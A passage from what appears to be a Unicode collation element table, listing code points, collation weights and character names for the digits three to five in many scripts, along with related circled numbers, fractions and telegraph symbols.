DAY TWENTY-ONE +336D ; [.1BBA.0020.0004][.1BB9.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-ONE +3252 ; [.1BBA.0020.0006][.1BBA.0020.0006] # CIRCLED NUMBER TWENTY TWO +33F5 ; [.1BBA.0020.0004][.1BBA.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-TWO +336E ; [.1BBA.0020.0004][.1BBA.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-TWO +3253 ; [.1BBA.0020.0006][.1BBB.0020.0006] # CIRCLED NUMBER TWENTY THREE +2154 ; [.1BBA.0020.001E][*0606.0020.001E][.1BBB.0020.001E] # VULGAR FRACTION TWO THIRDS +33F6 ; [.1BBA.0020.0004][.1BBB.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-THREE +336F ; [.1BBA.0020.0004][.1BBB.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-THREE +3254 ; [.1BBA.0020.0006][.1BBC.0020.0006] # CIRCLED NUMBER TWENTY FOUR +33F7 ; [.1BBA.0020.0004][.1BBC.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FOUR +3370 ; [.1BBA.0020.0004][.1BBC.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-FOUR +3255 ; [.1BBA.0020.0006][.1BBD.0020.0006] # CIRCLED NUMBER TWENTY FIVE +2156 ; [.1BBA.0020.001E][*0606.0020.001E][.1BBD.0020.001E] # VULGAR FRACTION TWO FIFTHS +33F8 ; [.1BBA.0020.0004][.1BBD.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FIVE +3256 ; [.1BBA.0020.0006][.1BBE.0020.0006] # CIRCLED NUMBER TWENTY SIX +33F9 ; [.1BBA.0020.0004][.1BBE.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SIX +3257 ; [.1BBA.0020.0006][.1BBF.0020.0006] # CIRCLED NUMBER TWENTY SEVEN +33FA ; [.1BBA.0020.0004][.1BBF.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SEVEN +3258 ; [.1BBA.0020.0006][.1BC0.0020.0006] # CIRCLED NUMBER TWENTY EIGHT +33FB ; [.1BBA.0020.0004][.1BC0.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-EIGHT +3259 ; [.1BBA.0020.0006][.1BC1.0020.0006] # CIRCLED NUMBER TWENTY NINE +33FC ; [.1BBA.0020.0004][.1BC1.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-NINE +33E1 ; [.1BBA.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWO +32C1 ; [.1BBA.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR FEBRUARY +335A ; [.1BBA.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWO +0033 ; [.1BBB.0020.0002] # DIGIT THREE +0663 ; [.1BBB.0020.0002] # ARABIC-INDIC DIGIT THREE +06F3 ; [.1BBB.0020.0002] # EXTENDED ARABIC-INDIC DIGIT THREE +07C3 ; [.1BBB.0020.0002] # NKO DIGIT THREE +0969 ; [.1BBB.0020.0002] # DEVANAGARI DIGIT THREE +09E9 ; [.1BBB.0020.0002] # BENGALI DIGIT THREE +0A69 ; [.1BBB.0020.0002] # GURMUKHI DIGIT THREE +0AE9 ; [.1BBB.0020.0002] # GUJARATI DIGIT THREE +0B69 ; [.1BBB.0020.0002] # ORIYA DIGIT THREE +0BE9 ; [.1BBB.0020.0002] # TAMIL DIGIT THREE +0C69 ; [.1BBB.0020.0002] # TELUGU DIGIT THREE +0C7B ; [.1BBB.0020.0002] # TELUGU FRACTION DIGIT THREE FOR ODD POWERS OF FOUR +0C7E ; [.1BBB.0020.0002] # TELUGU FRACTION DIGIT THREE FOR EVEN POWERS OF FOUR +0CE9 ; [.1BBB.0020.0002] # KANNADA DIGIT THREE +0D69 ; [.1BBB.0020.0002] # MALAYALAM DIGIT THREE +0DE9 ; [.1BBB.0020.0002] # SINHALA LITH DIGIT THREE +0E53 ; [.1BBB.0020.0002] # THAI DIGIT THREE +0ED3 ; [.1BBB.0020.0002] # LAO DIGIT THREE +0F23 ; [.1BBB.0020.0002] # TIBETAN DIGIT THREE +1043 ; [.1BBB.0020.0002] # MYANMAR DIGIT THREE +1093 ; [.1BBB.0020.0002] # MYANMAR SHAN DIGIT THREE +136B ; [.1BBB.0020.0002] # ETHIOPIC DIGIT THREE +17E3 ; [.1BBB.0020.0002] # KHMER DIGIT THREE +17F3 ; [.1BBB.0020.0002] # KHMER SYMBOL LEK ATTAK BEI +1813 ; [.1BBB.0020.0002] # MONGOLIAN DIGIT THREE +1949 ; [.1BBB.0020.0002] # LIMBU DIGIT THREE +19D3 ; [.1BBB.0020.0002] # NEW TAI LUE DIGIT THREE +1A83 ; [.1BBB.0020.0002] # TAI THAM HORA DIGIT THREE +1A93 ; [.1BBB.0020.0002] # TAI THAM THAM DIGIT THREE +1B53 ; [.1BBB.0020.0002] # BALINESE DIGIT THREE +1BB3 ; [.1BBB.0020.0002] # SUNDANESE DIGIT THREE +1C43 ; [.1BBB.0020.0002] # LEPCHA DIGIT THREE +1C53 ; [.1BBB.0020.0002] # OL CHIKI DIGIT THREE +3023 ; [.1BBB.0020.0002] # HANGZHOU NUMERAL THREE +A623 ; [.1BBB.0020.0002] # VAI DIGIT THREE +A8D3 ; [.1BBB.0020.0002] # SAURASHTRA DIGIT THREE +A903 ; [.1BBB.0020.0002] # KAYAH LI DIGIT THREE +A9D3 ; [.1BBB.0020.0002] # JAVANESE DIGIT THREE +A9F3 ; [.1BBB.0020.0002] # MYANMAR TAI LAING DIGIT THREE +AA53 ; [.1BBB.0020.0002] # CHAM DIGIT THREE +ABF3 ; [.1BBB.0020.0002] # MEETEI MAYEK DIGIT THREE +10109 ; [.1BBB.0020.0002] # AEGEAN NUMBER THREE +102E3 ; [.1BBB.0020.0002] # COPTIC EPACT DIGIT THREE +104A3 ; [.1BBB.0020.0002] # OSMANYA DIGIT THREE +1085A ; [.1BBB.0020.0002] # IMPERIAL ARAMAIC NUMBER THREE +1087B ; [.1BBB.0020.0002] # PALMYRENE NUMBER THREE +108A9 ; [.1BBB.0020.0002] # NABATAEAN NUMBER THREE +1091B ; [.1BBB.0020.0002] # PHOENICIAN NUMBER THREE +109C2 ; [.1BBB.0020.0002] # MEROITIC CURSIVE NUMBER THREE +10A42 ; [.1BBB.0020.0002] # KHAROSHTHI DIGIT THREE +10B5A ; [.1BBB.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER THREE +10B7A ; [.1BBB.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER THREE +10BAB ; [.1BBB.0020.0002] # PSALTER PAHLAVI NUMBER THREE +10E62 ; [.1BBB.0020.0002] # RUMI DIGIT THREE +11054 ; [.1BBB.0020.0002] # BRAHMI NUMBER THREE +11069 ; [.1BBB.0020.0002] # BRAHMI DIGIT THREE +110F3 ; [.1BBB.0020.0002] # SORA SOMPENG DIGIT THREE +11139 ; [.1BBB.0020.0002] # CHAKMA DIGIT THREE +111D3 ; [.1BBB.0020.0002] # SHARADA DIGIT THREE +111E3 ; [.1BBB.0020.0002] # SINHALA ARCHAIC DIGIT THREE +112F3 ; [.1BBB.0020.0002] # KHUDAWADI DIGIT THREE +114D3 ; [.1BBB.0020.0002] # TIRHUTA DIGIT THREE +11653 ; [.1BBB.0020.0002] # MODI DIGIT THREE +116C3 ; [.1BBB.0020.0002] # TAKRI DIGIT THREE +11733 ; [.1BBB.0020.0002] # AHOM DIGIT THREE +118E3 ; [.1BBB.0020.0002] # WARANG CITI DIGIT THREE +12401 ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE ASH +12408 ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE DISH +12417 ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE GESH2 +12420 ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE GESHU +12424 ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE SHAR2 +12425 ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE SHAR2 VARIANT FORM +1242E ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE SHARU +1242F ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE SHARU VARIANT FORM +12436 ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE BURU +12437 ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE BURU VARIANT FORM +1243A ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE VARIANT FORM ESH16 +1243B ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE VARIANT FORM ESH21 +1244B ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE ASH TENU +12451 ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE BAN2 +12457 ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN NIGIDAESH +16A63 ; [.1BBB.0020.0002] # MRO DIGIT THREE +16B53 ; [.1BBB.0020.0002] # PAHAWH HMONG DIGIT THREE +1D362 ; [.1BBB.0020.0002] # COUNTING ROD UNIT DIGIT THREE +1E8C9 ; [.1BBB.0020.0002] # MENDE KIKAKUI DIGIT THREE +FF13 ; [.1BBB.0020.0003] # FULLWIDTH DIGIT THREE +0F2C ; [.1BBB.0020.0004] # TIBETAN DIGIT HALF THREE +2476 ; [*0310.0020.0004][.1BBB.0020.0004][*0311.0020.0004] # PARENTHESIZED DIGIT THREE +248A ; [.1BBB.0020.0004][*0274.0020.0004] # DIGIT THREE FULL STOP +1F104 ; [.1BBB.0020.0004][*0221.0020.0004] # DIGIT THREE COMMA +1D7D1 ; [.1BBB.0020.0005] # MATHEMATICAL BOLD DIGIT THREE +1D7DB ; [.1BBB.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT THREE +1D7E5 ; [.1BBB.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT THREE +1D7EF ; [.1BBB.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT THREE +1D7F9 ; [.1BBB.0020.0005] # MATHEMATICAL MONOSPACE DIGIT THREE +2462 ; [.1BBB.0020.0006] # CIRCLED DIGIT THREE +24F7 ; [.1BBB.0020.0006] # DOUBLE CIRCLED DIGIT THREE +2778 ; [.1BBB.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT THREE +2782 ; [.1BBB.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT THREE +278C ; [.1BBB.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT THREE +00B3 ; [.1BBB.0020.0014] # SUPERSCRIPT THREE +2083 ; [.1BBB.0020.0015] # SUBSCRIPT THREE +324A ; [.1BBB.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER THIRTY ON BLACK SQUARE +325A ; [.1BBB.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER THIRTY +33FD ; [.1BBB.0020.0004][.1BB8.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY +325B ; [.1BBB.0020.0006][.1BB9.0020.0006] # CIRCLED NUMBER THIRTY ONE +33FE ; [.1BBB.0020.0004][.1BB9.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY-ONE +325C ; [.1BBB.0020.0006][.1BBA.0020.0006] # CIRCLED NUMBER THIRTY TWO +325D ; [.1BBB.0020.0006][.1BBB.0020.0006] # CIRCLED NUMBER THIRTY THREE +325E ; [.1BBB.0020.0006][.1BBC.0020.0006] # CIRCLED NUMBER THIRTY FOUR +00BE ; [.1BBB.0020.001E][*0606.0020.001E][.1BBC.0020.001E] # VULGAR FRACTION THREE QUARTERS +325F ; [.1BBB.0020.0006][.1BBD.0020.0006] # CIRCLED NUMBER THIRTY FIVE +2157 ; [.1BBB.0020.001E][*0606.0020.001E][.1BBD.0020.001E] # VULGAR FRACTION THREE FIFTHS +32B1 ; [.1BBB.0020.0006][.1BBE.0020.0006] # CIRCLED NUMBER THIRTY SIX +32B2 ; [.1BBB.0020.0006][.1BBF.0020.0006] # CIRCLED NUMBER THIRTY SEVEN +32B3 ; [.1BBB.0020.0006][.1BC0.0020.0006] # CIRCLED NUMBER THIRTY EIGHT +215C ; [.1BBB.0020.001E][*0606.0020.001E][.1BC0.0020.001E] # VULGAR FRACTION THREE EIGHTHS +32B4 ; [.1BBB.0020.0006][.1BC1.0020.0006] # CIRCLED NUMBER THIRTY NINE +33E2 ; [.1BBB.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THREE +32C2 ; [.1BBB.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MARCH +335B ; [.1BBB.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THREE +0034 ; [.1BBC.0020.0002] # DIGIT FOUR +0664 ; [.1BBC.0020.0002] # ARABIC-INDIC DIGIT FOUR +06F4 ; [.1BBC.0020.0002] # EXTENDED ARABIC-INDIC DIGIT FOUR +07C4 ; [.1BBC.0020.0002] # NKO DIGIT FOUR +096A ; [.1BBC.0020.0002] # DEVANAGARI DIGIT FOUR +09EA ; [.1BBC.0020.0002] # BENGALI DIGIT FOUR +0A6A ; [.1BBC.0020.0002] # GURMUKHI DIGIT FOUR +0AEA ; [.1BBC.0020.0002] # GUJARATI DIGIT FOUR +0B6A ; [.1BBC.0020.0002] # ORIYA DIGIT FOUR +0BEA ; [.1BBC.0020.0002] # TAMIL DIGIT FOUR +0C6A ; [.1BBC.0020.0002] # TELUGU DIGIT FOUR +0CEA ; [.1BBC.0020.0002] # KANNADA DIGIT FOUR +0D6A ; [.1BBC.0020.0002] # MALAYALAM DIGIT FOUR +0DEA ; [.1BBC.0020.0002] # SINHALA LITH DIGIT FOUR +0E54 ; [.1BBC.0020.0002] # THAI DIGIT FOUR +0ED4 ; [.1BBC.0020.0002] # LAO DIGIT FOUR +0F24 ; [.1BBC.0020.0002] # TIBETAN DIGIT FOUR +1044 ; [.1BBC.0020.0002] # MYANMAR DIGIT FOUR +1094 ; [.1BBC.0020.0002] # MYANMAR SHAN DIGIT FOUR +136C ; [.1BBC.0020.0002] # ETHIOPIC DIGIT FOUR +17E4 ; [.1BBC.0020.0002] # KHMER DIGIT FOUR +17F4 ; [.1BBC.0020.0002] # KHMER SYMBOL LEK ATTAK BUON +1814 ; [.1BBC.0020.0002] # MONGOLIAN DIGIT FOUR +194A ; [.1BBC.0020.0002] # LIMBU DIGIT FOUR +19D4 ; [.1BBC.0020.0002] # NEW TAI LUE DIGIT FOUR +1A84 ; [.1BBC.0020.0002] # TAI THAM HORA DIGIT FOUR +1A94 ; [.1BBC.0020.0002] # TAI THAM THAM DIGIT FOUR +1B54 ; [.1BBC.0020.0002] # BALINESE DIGIT FOUR +1BB4 ; [.1BBC.0020.0002] # SUNDANESE DIGIT FOUR +1C44 ; [.1BBC.0020.0002] # LEPCHA DIGIT FOUR +1C54 ; [.1BBC.0020.0002] # OL CHIKI DIGIT FOUR +3024 ; [.1BBC.0020.0002] # HANGZHOU NUMERAL FOUR +A624 ; [.1BBC.0020.0002] # VAI DIGIT FOUR +A8D4 ; [.1BBC.0020.0002] # SAURASHTRA DIGIT FOUR +A904 ; [.1BBC.0020.0002] # KAYAH LI DIGIT FOUR +A9D4 ; [.1BBC.0020.0002] # JAVANESE DIGIT FOUR +A9F4 ; [.1BBC.0020.0002] # MYANMAR TAI LAING DIGIT FOUR +AA54 ; [.1BBC.0020.0002] # CHAM DIGIT FOUR +ABF4 ; [.1BBC.0020.0002] # MEETEI MAYEK DIGIT FOUR +1010A ; [.1BBC.0020.0002] # AEGEAN NUMBER FOUR +102E4 ; [.1BBC.0020.0002] # COPTIC EPACT DIGIT FOUR +104A4 ; [.1BBC.0020.0002] # OSMANYA DIGIT FOUR +1087C ; [.1BBC.0020.0002] # PALMYRENE NUMBER FOUR +108AA ; [.1BBC.0020.0002] # NABATAEAN NUMBER FOUR +108AB ; [.1BBC.0020.0002] # NABATAEAN CRUCIFORM NUMBER FOUR +109C3 ; [.1BBC.0020.0002] # MEROITIC CURSIVE NUMBER FOUR +10A43 ; [.1BBC.0020.0002] # KHAROSHTHI DIGIT FOUR +10B5B ; [.1BBC.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER FOUR +10B7B ; [.1BBC.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER FOUR +10BAC ; [.1BBC.0020.0002] # PSALTER PAHLAVI NUMBER FOUR +10E63 ; [.1BBC.0020.0002] # RUMI DIGIT FOUR +11055 ; [.1BBC.0020.0002] # BRAHMI NUMBER FOUR +1106A ; [.1BBC.0020.0002] # BRAHMI DIGIT FOUR +110F4 ; [.1BBC.0020.0002] # SORA SOMPENG DIGIT FOUR +1113A ; [.1BBC.0020.0002] # CHAKMA DIGIT FOUR +111D4 ; [.1BBC.0020.0002] # SHARADA DIGIT FOUR +111E4 ; [.1BBC.0020.0002] # SINHALA ARCHAIC DIGIT FOUR +112F4 ; [.1BBC.0020.0002] # KHUDAWADI DIGIT FOUR +114D4 ; [.1BBC.0020.0002] # TIRHUTA DIGIT FOUR +11654 ; [.1BBC.0020.0002] # MODI DIGIT FOUR +116C4 ; [.1BBC.0020.0002] # TAKRI DIGIT FOUR +11734 ; [.1BBC.0020.0002] # AHOM DIGIT FOUR +118E4 ; [.1BBC.0020.0002] # WARANG CITI DIGIT FOUR +12402 ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR ASH +12409 ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR DISH +1240F ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR U +12418 ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR GESH2 +12421 ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR GESHU +12426 ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR SHAR2 +12430 ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR SHARU +12438 ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR BURU +1243C ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR VARIANT FORM LIMMU +1243D ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR VARIANT FORM LIMMU4 +1243E ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR VARIANT FORM LIMMU A +1243F ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR VARIANT FORM LIMMU B +1244C ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR ASH TENU +12452 ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR BAN2 +12453 ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR BAN2 VARIANT FORM +12469 ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR U VARIANT FORM +16A64 ; [.1BBC.0020.0002] # MRO DIGIT FOUR +16B54 ; [.1BBC.0020.0002] # PAHAWH HMONG DIGIT FOUR +1D363 ; [.1BBC.0020.0002] # COUNTING ROD UNIT DIGIT FOUR +1E8CA ; [.1BBC.0020.0002] # MENDE KIKAKUI DIGIT FOUR +FF14 ; [.1BBC.0020.0003] # FULLWIDTH DIGIT FOUR +0F2D ; [.1BBC.0020.0004] # TIBETAN DIGIT HALF FOUR +2477 ; [*0310.0020.0004][.1BBC.0020.0004][*0311.0020.0004] # PARENTHESIZED DIGIT FOUR +248B ; [.1BBC.0020.0004][*0274.0020.0004] # DIGIT FOUR FULL STOP +1F105 ; [.1BBC.0020.0004][*0221.0020.0004] # DIGIT FOUR COMMA +1D7D2 ; [.1BBC.0020.0005] # MATHEMATICAL BOLD DIGIT FOUR +1D7DC ; [.1BBC.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT FOUR +1D7E6 ; [.1BBC.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT FOUR +1D7F0 ; [.1BBC.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT FOUR +1D7FA ; [.1BBC.0020.0005] # MATHEMATICAL MONOSPACE DIGIT FOUR +2463 ; [.1BBC.0020.0006] # CIRCLED DIGIT FOUR +24F8 ; [.1BBC.0020.0006] # DOUBLE CIRCLED DIGIT FOUR +2779 ; [.1BBC.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT FOUR +2783 ; [.1BBC.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT FOUR +278D ; [.1BBC.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT FOUR +2074 ; [.1BBC.0020.0014] # SUPERSCRIPT FOUR +2084 ; [.1BBC.0020.0015] # SUBSCRIPT FOUR +324B ; [.1BBC.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER FORTY ON BLACK SQUARE +32B5 ; [.1BBC.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER FORTY +32B6 ; [.1BBC.0020.0006][.1BB9.0020.0006] # CIRCLED NUMBER FORTY ONE +32B7 ; [.1BBC.0020.0006][.1BBA.0020.0006] # CIRCLED NUMBER FORTY TWO +32B8 ; [.1BBC.0020.0006][.1BBB.0020.0006] # CIRCLED NUMBER FORTY THREE +32B9 ; [.1BBC.0020.0006][.1BBC.0020.0006] # CIRCLED NUMBER FORTY FOUR +32BA ; [.1BBC.0020.0006][.1BBD.0020.0006] # CIRCLED NUMBER FORTY FIVE +2158 ; [.1BBC.0020.001E][*0606.0020.001E][.1BBD.0020.001E] # VULGAR FRACTION FOUR FIFTHS +32BB ; [.1BBC.0020.0006][.1BBE.0020.0006] # CIRCLED NUMBER FORTY SIX +32BC ; [.1BBC.0020.0006][.1BBF.0020.0006] # CIRCLED NUMBER FORTY SEVEN +32BD ; [.1BBC.0020.0006][.1BC0.0020.0006] # CIRCLED NUMBER FORTY EIGHT +32BE ; [.1BBC.0020.0006][.1BC1.0020.0006] # CIRCLED NUMBER FORTY NINE +33E3 ; [.1BBC.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOUR +32C3 ; [.1BBC.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR APRIL +335C ; [.1BBC.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOUR +0035 ; [.1BBD.0020.0002] # DIGIT FIVE +0665 ; [.1BBD.0020.0002] # ARABIC-INDIC DIGIT FIVE +06F5 ; [.1BBD.0020.0002] # EXTENDED ARABIC-INDIC DIGIT FIVE +07C5 ; [.1BBD.0020.0002] # NKO DIGIT FIVE +096B ; [.1BBD.0020.0002] # DEVANAGARI DIGIT FIVE +09EB ; [.1BBD.0020.0002] # BENGALI DIGIT FIVE +0A6B ; [.1BBD.0020.0002] # GURMUKHI DIGIT FIVE +0AEB ; [.1BBD.0020.0002] # GUJARATI DIGIT FIVE +0B6B ; [.1BBD.0020.0002] # ORIYA DIGIT FIVE +0BEB ; [.1BBD.0020.0002] # TAMIL DIGIT FIVE +0C6B ; [.1BBD.0020.0002] # TELUGU DIGIT FIVE +0CEB ; [.1BBD.0020.0002] # KANNADA DIGIT FIVE +0D6B ; [.1BBD.0020.0002] # MALAYALAM DIGIT FIVE +0DEB ; [.1BBD.0020.0002] # SINHALA LITH DIGIT FIVE +0E55 ; [.1BBD.0020.0002] # THAI DIGIT FIVE +0ED5 ; [.1BBD.0020.0002] # LAO DIGIT FIVE +0F25 ; [.1BBD.0020.0002] # TIBETAN DIGIT FIVE +1045 ; [.1BBD.0020.0002] # MYANMAR DIGIT FIVE +1095 ; [.1BBD.0020.0002] # MYANMAR SHAN DIGIT FIVE +136D ; [.1BBD.0020.0002] # ETHIOPIC DIGIT FIVE +17E5 ; [.1BBD.0020.0002] # KHMER DIGIT FIVE +17F5 ; [.1BBD.0020.0002] # KHMER SYMBOL LEK ATTAK PRAM +1815 ; [.1BBD.0020.0002] # MONGOLIAN DIGIT FIVE +194B ; [.1BBD.0020.0002] # LIMBU DIGIT FIVE +19D5 ; [.1BBD.0020.0002] # NEW TAI LUE DIGIT FIVE +1A85 ; [.1BBD.0020.0002] # TAI THAM HORA DIGIT FIVE +1A95 ; [.1BBD.0020.0002] # TAI THAM THAM DIGIT FIVE +1B55 ; [.1BBD.0020.0002] # BALINESE DIGIT FIVE +1BB5 ; [.1BBD.0020.0002] # SUNDANESE DIGIT FIVE +1C45 ; [.1BBD.0020.0002] # LEPCHA DIGIT FIVE +1C55 ; [.1BBD.0020.0002] # OL CHIKI DIGIT FIVE +3025 ; [.1BBD.0020.0002] # HANGZHOU NUMERAL FIVE +A625 ; [.1BBD.0020.0002] # VAI DIGIT FIVE +A8D5 ; [.1BBD.0020.0002] # SAURASHTRA DIGIT FIVE +A905 ; [.1BBD.0020.0002] # KAYAH LI DIGIT FIVE +A9D5 ; [.1BBD.0020.0002] # JAVANESE DIGIT FIVE +A9F5 ; [.1BBD.0020.0002] # MYANMAR TAI LAING DIGIT FIVE +AA55 ; [.1BBD.0020.0002] # CHAM DIGIT FIVE +ABF5 ; [.1BBD.0020.0002] # MEETEI MAYEK DIGIT FIVE +1010B ; [.1BBD.0020.0002] # AEGEAN NUMBER FIVE +10143 ; [.1BBD.0020.0002] # GREEK ACROPHONIC ATTIC FIVE +10148 ; [.1BBD.0020.0002] # GREEK ACROPHONIC ATTIC FIVE TALENTS +1014F ; [.1BBD.0020.0002] # GREEK ACROPHONIC ATTIC FIVE STATERS +1015F ; [.1BBD.0020.0002] # GREEK ACROPHONIC TROEZENIAN FIVE +10173 ; [.1BBD.0020.0002] # GREEK ACROPHONIC DELPHIC FIVE MNAS +102E5 ; [.1BBD.0020.0002] # COPTIC EPACT DIGIT FIVE +10321 ; [.1BBD.0020.0002] # OLD ITALIC NUMERAL FIVE +104A5 ; [.1BBD.0020.0002] # OSMANYA DIGIT FIVE +1087D ; [.1BBD.0020.0002] # PALMYRENE NUMBER FIVE +108AC ; [.1BBD.0020.0002] # NABATAEAN NUMBER FIVE +108FC ; [.1BBD.0020.0002] # HATRAN NUMBER FIVE +109C4 ; [.1BBD.0020.0002] # MEROITIC CURSIVE NUMBER FIVE +10AEC ; [.1BBD.0020.0002] # MANICHAEAN NUMBER FIVE +10CFB ; [.1BBD.0020.0002] # OLD HUNGARIAN NUMBER FIVE +10E64 ; [.1BBD.0020.0002] # RUMI DIGIT FIVE +11056 ; [.1BBD.0020.0002] # BRAHMI NUMBER FIVE +1106B ; [.1BBD.0020.0002] # BRAHMI DIGIT FIVE +110F5 ; [.1BBD.0020.0002] # SORA SOMPENG DIGIT FIVE +1113B ; [.1BBD.0020.0002] # CHAKMA DIGIT FIVE +111D5 ; [.1BBD.0020.0002] # SHARADA DIGIT FIVE +111E5 ; [.1BBD.0020.0002] # SINHALA ARCHAIC DIGIT FIVE +112F5 ; [.1BBD.0020.0002] # KHUDAWADI DIGIT FIVE +114D5 ; [.1BBD.0020.0002] # TIRHUTA DIGIT FIVE +11655 ; [.1BBD.0020.0002] # MODI DIGIT FIVE +116C5 ; [.1BBD.0020.0002] # TAKRI DIGIT FIVE +11735 ; [.1BBD.0020.0002] # AHOM DIGIT FIVE +118E5 ; [.1BBD.0020.0002] # WARANG CITI DIGIT FIVE +12403 ; [.1BBD.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE ASH +1240A ; [.1BBD.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE DISH +12410 ; [.1BBD.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE U +12419 ; [.1BBD.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE GESH2 +12422 ; [.1BBD.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE GESHU +12427 ; [.1BBD.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE SHAR2 +12431 ; [.1BBD.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE SHARU +12439 ; [.1BBD.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE BURU +1244D ; [.1BBD.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE ASH TENU +12454 ; [.1BBD.0020.0002] # CUNEIFORM 